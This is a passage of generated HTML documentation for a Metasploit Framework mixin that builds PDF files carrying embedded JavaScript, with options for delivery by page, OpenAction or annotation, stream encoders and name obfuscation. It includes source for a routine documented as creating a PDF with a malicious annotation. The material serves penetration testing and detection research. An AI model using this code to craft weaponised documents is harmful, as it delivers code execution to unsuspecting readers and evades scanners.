<span class='id identifier rubyid_arrResults'>arrResults</span> <span class='op'>=</span> <span class='id identifier rubyid_select_encoder'>select_encoder</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='comma'>,</span><span class='id identifier rubyid_arrEncodings'>arrEncodings</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='rbracket'>]</span><span class='comma'>,</span><span class='id identifier rubyid_strFilter'>strFilter</span><span class='rparen'>)</span>
|
||||
<span class='kw'>next</span>
|
||||
<span class='kw'>end</span>
|
||||
<span class='id identifier rubyid_arrResults'>arrResults</span> <span class='op'>=</span> <span class='id identifier rubyid_select_encoder'>select_encoder</span><span class='lparen'>(</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span><span class='comma'>,</span><span class='id identifier rubyid_arrEncodings'>arrEncodings</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='rbracket'>]</span><span class='comma'>,</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>1</span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
||||
<span class='kw'>end</span>
|
||||
<span class='kw'>case</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::Method</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
||||
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PAGE</span><span class='tstring_end'>'</span></span>
|
||||
<span class='id identifier rubyid_pdf_with_page_exploit'>pdf_with_page_exploit</span><span class='lparen'>(</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span><span class='comma'>,</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>1</span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
||||
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>DOCUMENT</span><span class='tstring_end'>'</span></span>
|
||||
<span class='id identifier rubyid_pdf_with_openaction_js'>pdf_with_openaction_js</span><span class='lparen'>(</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span><span class='comma'>,</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>1</span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
||||
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ANNOTATION</span><span class='tstring_end'>'</span></span>
|
||||
<span class='id identifier rubyid_pdf_with_annot_js'>pdf_with_annot_js</span><span class='lparen'>(</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span><span class='comma'>,</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>1</span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
||||
<span class='kw'>end</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="endobj-instance_method">
|
||||
|
||||
#<strong>endobj</strong> ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
208
|
||||
209
|
||||
210</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 208</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_endobj'>endobj</span>
|
||||
<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>endobj</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="eol-instance_method">
|
||||
|
||||
#<strong>eol</strong> ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
200
|
||||
201
|
||||
202</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 200</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='ivar'>@eol</span> <span class='op'>||</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x0d\x0a</span><span class='tstring_end'>"</span></span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="eol=-instance_method">
|
||||
|
||||
#<strong>eol=</strong>(new_eol) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
204
|
||||
205
|
||||
206</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 204</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_eol='>eol=</span><span class='lparen'>(</span><span class='id identifier rubyid_new_eol'>new_eol</span><span class='rparen'>)</span>
|
||||
<span class='ivar'>@eol</span> <span class='op'>=</span> <span class='id identifier rubyid_new_eol'>new_eol</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="finish_pdf-instance_method">
|
||||
|
||||
#<strong>finish_pdf</strong> ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
163
|
||||
164
|
||||
165
|
||||
166
|
||||
167
|
||||
168
|
||||
169</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 163</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_finish_pdf'>finish_pdf</span>
|
||||
<span class='ivar'>@xref_offset</span> <span class='op'>=</span> <span class='ivar'>@pdf</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span>
|
||||
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_xref_table'>xref_table</span>
|
||||
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_trailer'>trailer</span><span class='lparen'>(</span><span class='int'>1</span><span class='rparen'>)</span>
|
||||
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_startxref'>startxref</span>
|
||||
<span class='ivar'>@pdf</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="header-instance_method">
|
||||
|
||||
#<strong>header</strong>(version = '1.5') ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><div class="docstring">
|
||||
<div class="discussion">
|
||||
|
||||
<p>PDF building block functions</p>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="tags">
|
||||
|
||||
|
||||
</div><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
150
|
||||
151
|
||||
152
|
||||
153
|
||||
154</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 150</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_header'>header</span><span class='lparen'>(</span><span class='id identifier rubyid_version'>version</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>1.5</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_hdr'>hdr</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%PDF-</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_version'>version</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_hdr'>hdr</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_random_non_ascii_string'>random_non_ascii_string</span><span class='lparen'>(</span><span class='int'>4</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_hdr'>hdr</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="initialize-instance_method">
|
||||
|
||||
#<strong>initialize</strong>(info = {}) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
12
|
||||
13
|
||||
14
|
||||
15
|
||||
16
|
||||
17
|
||||
18
|
||||
19
|
||||
20
|
||||
21
|
||||
22
|
||||
23
|
||||
24
|
||||
25
|
||||
26
|
||||
27</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 12</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_initialize'>initialize</span><span class='lparen'>(</span><span class='id identifier rubyid_info'>info</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
||||
<span class='kw'>super</span>
|
||||
|
||||
<span class='id identifier rubyid_register_options'>register_options</span><span class='lparen'>(</span>
|
||||
<span class='lbracket'>[</span>
|
||||
<span class='const'><span class='object_link'><a href="../OptBool.html" title="Msf::OptBool (class)">OptBool</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../OptBool.html#initialize-instance_method" title="Msf::OptBool#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::Obfuscate</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span> <span class='kw'>true</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Whether or not we should obfuscate the output</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='kw'>true</span> <span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
|
||||
<span class='const'><span class='object_link'><a href="../OptString.html" title="Msf::OptString (class)">OptString</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../OptString.html#initialize-instance_method" title="Msf::OptString#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::Method</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span> <span class='kw'>true</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Select PAGE, DOCUMENT, or ANNOTATION</span><span class='tstring_end'>'</span></span> <span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>DOCUMENT</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
|
||||
<span class='const'><span class='object_link'><a href="../OptString.html" title="Msf::OptString (class)">OptString</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../OptString.html#initialize-instance_method" title="Msf::OptString#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::Encoder</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span> <span class='kw'>true</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ASCIIHEX</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
|
||||
<span class='const'><span class='object_link'><a href="../OptInt.html" title="Msf::OptInt (class)">OptInt</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../OptBase.html#initialize-instance_method" title="Msf::OptBase#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::MultiFilter</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span> <span class='kw'>true</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Stack multiple encodings n times</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='int'>1</span><span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
|
||||
<span class='rbracket'>]</span><span class='comma'>,</span> <span class='const'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="" title="Msf::Exploit::PDF (module)">PDF</a></span></span>
|
||||
<span class='rparen'>)</span>
|
||||
|
||||
<span class='comment'># We're assuming we'll only create one pdf at a time here.
|
||||
</span><span class='ivar'>@xref</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span>
|
||||
<span class='ivar'>@pdf</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="io_def-instance_method">
|
||||
|
||||
#<strong>io_def</strong>(id) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
212
|
||||
213
|
||||
214</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 212</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_io_def'>io_def</span><span class='lparen'>(</span><span class='id identifier rubyid_id'>id</span><span class='rparen'>)</span>
|
||||
<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%d 0 obj</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_id'>id</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="io_ref-instance_method">
|
||||
|
||||
#<strong>io_ref</strong>(id) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
216
|
||||
217
|
||||
218</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 216</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='id identifier rubyid_id'>id</span><span class='rparen'>)</span>
|
||||
<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%d 0 R</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_id'>id</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="nobfu-instance_method">
|
||||
|
||||
#<strong>nobfu</strong>(str) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><div class="docstring">
|
||||
<div class="discussion">
|
||||
|
||||
<p><a href="http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways">blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways</a>/</p>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="tags">
|
||||
|
||||
|
||||
</div><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
133
|
||||
134
|
||||
135
|
||||
136
|
||||
137
|
||||
138
|
||||
139
|
||||
140
|
||||
141
|
||||
142
|
||||
143
|
||||
144
|
||||
145</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 133</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='id identifier rubyid_str'>str</span><span class='rparen'>)</span>
|
||||
<span class='kw'>return</span> <span class='id identifier rubyid_str'>str</span> <span class='kw'>if</span> <span class='kw'>not</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::Obfuscate</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
||||
|
||||
<span class='id identifier rubyid_result'>result</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
||||
<span class='id identifier rubyid_str'>str</span><span class='period'>.</span><span class='id identifier rubyid_scan'>scan</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>.</span><span class='regexp_end'>/u</span></span><span class='rparen'>)</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_c'>c</span><span class='op'>|</span>
|
||||
<span class='kw'>if</span> <span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>2</span><span class='rparen'>)</span> <span class='op'>==</span> <span class='int'>0</span> <span class='kw'>and</span> <span class='id identifier rubyid_c'>c</span><span class='period'>.</span><span class='id identifier rubyid_upcase'>upcase</span> <span class='op'>>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>A</span><span class='tstring_end'>'</span></span> <span class='kw'>and</span> <span class='id identifier rubyid_c'>c</span><span class='period'>.</span><span class='id identifier rubyid_upcase'>upcase</span> <span class='op'><=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Z</span><span class='tstring_end'>'</span></span>
|
||||
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>#%x</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_c'>c</span><span class='period'>.</span><span class='id identifier rubyid_unpack'>unpack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>C*</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span>
|
||||
<span class='kw'>else</span>
|
||||
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='id identifier rubyid_c'>c</span>
|
||||
<span class='kw'>end</span>
|
||||
<span class='kw'>end</span>
|
||||
<span class='id identifier rubyid_result'>result</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="pdf_with_annot_js-instance_method">
|
||||
|
||||
#<strong>pdf_with_annot_js</strong>(js, strFilter) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><div class="docstring">
|
||||
<div class="discussion">
|
||||
|
||||
<p>Create PDF with a malicious annotation</p>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="tags">
|
||||
|
||||
|
||||
</div><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
321
|
||||
322
|
||||
323
|
||||
324
|
||||
325
|
||||
326
|
||||
327
|
||||
328
|
||||
329
|
||||
330
|
||||
331
|
||||
332
|
||||
333
|
||||
334
|
||||
335
|
||||
336
|
||||
337
|
||||
338
|
||||
339
|
||||
340</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 321</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_pdf_with_annot_js'>pdf_with_annot_js</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='comma'>,</span><span class='id identifier rubyid_strFilter'>strFilter</span><span class='rparen'>)</span>
|
||||
<span class='ivar'>@xref</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span>
|
||||
<span class='ivar'>@pdf</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
||||
|
||||
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_header'>header</span>
|
||||
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>1</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Catalog/Outlines </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>2</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/Pages </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>3</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>2</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Outlines/Count 0>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>3</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Pages/Kids[</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>4</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>]/Count 1>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>4</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Page/Parent </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>3</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/MediaBox[%s %s %s %s] </span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='lbracket'>[</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='rbracket'>]</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'> /Annots [</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>5</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>]>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>5</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS </span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='lbracket'>[</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='rbracket'>]</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>6</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/S /JavaScript >>>>>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_compressed'>compressed</span> <span class='op'>=</span> <span class='id identifier rubyid_js'>js</span>
|
||||
<span class='id identifier rubyid_stream'>stream</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Length %s/Filter[</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_compressed'>compressed</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'><<</span> <span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>]>></span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>stream</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='id identifier rubyid_compressed'>compressed</span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>endstream</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>6</span><span class='comma'>,</span> <span class='id identifier rubyid_stream'>stream</span><span class='rparen'>)</span>
|
||||
|
||||
<span class='id identifier rubyid_finish_pdf'>finish_pdf</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="pdf_with_openaction_js-instance_method">
|
||||
|
||||
#<strong>pdf_with_openaction_js</strong>(js, strFilter) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><div class="docstring">
|
||||
